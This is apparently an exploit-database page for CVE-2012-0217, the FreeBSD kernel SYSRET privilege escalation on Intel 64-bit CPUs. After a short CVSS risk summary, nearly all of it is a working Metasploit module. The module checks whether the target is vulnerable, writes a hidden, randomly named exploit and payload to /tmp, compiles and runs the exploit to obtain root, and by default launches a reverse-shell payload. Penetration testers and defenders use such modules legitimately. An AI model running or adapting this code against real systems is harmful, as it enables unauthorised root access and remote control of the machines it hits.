FreeBSD Intel SYSRET Privilege Escalation

2019.03.07
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'FreeBSD Intel SYSRET Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Rafal Wojtczuk', # Discovery 'John Baldwin', # Discovery 'iZsh', # Exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2012-06-12', 'Platform' => ['bsd'], 'Arch' => [ARCH_X64], 'SessionTypes' => ['shell'], 'References' => [ ['BID', '53856'], ['CVE', '2012-0217'], ['EDB', '28718'], ['PACKETSTORM', '113584'], ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'], ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'], ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'], ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'], ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'], ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation'] ], 'Targets' => [ ['Automatic', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data, gcc_args='') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path chmod path end def exploit_data(file) ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-0217', file) end def is_root? (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def check kernel_release = cmd_exec('uname -r').to_s unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/ vprint_error "FreeBSD version #{kernel_release} is not vulnerable" return Exploit::CheckCode::Safe end vprint_good "FreeBSD version #{kernel_release} appears vulnerable" arch = cmd_exec('uname -m').to_s unless arch.include? '64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" hw_model = cmd_exec('/sbin/sysctl hw.model').to_s unless hw_model.downcase.include? 'intel' vprint_error "#{hw_model} is not vulnerable" return CheckCode::Safe end vprint_good "#{hw_model} is vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload and compile exploit executable executable_name = ".#{rand_text_alphanumeric 5..10}" executable_path = "#{base_dir}/#{executable_name}" upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall' # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec executable_path output.each_line { |line| vprint_status line.chomp } unless is_root? fail_with Failure::Unknown, 'Exploitation failed' end print_good "Success! Executing payload..." cmd_exec payload_path end end


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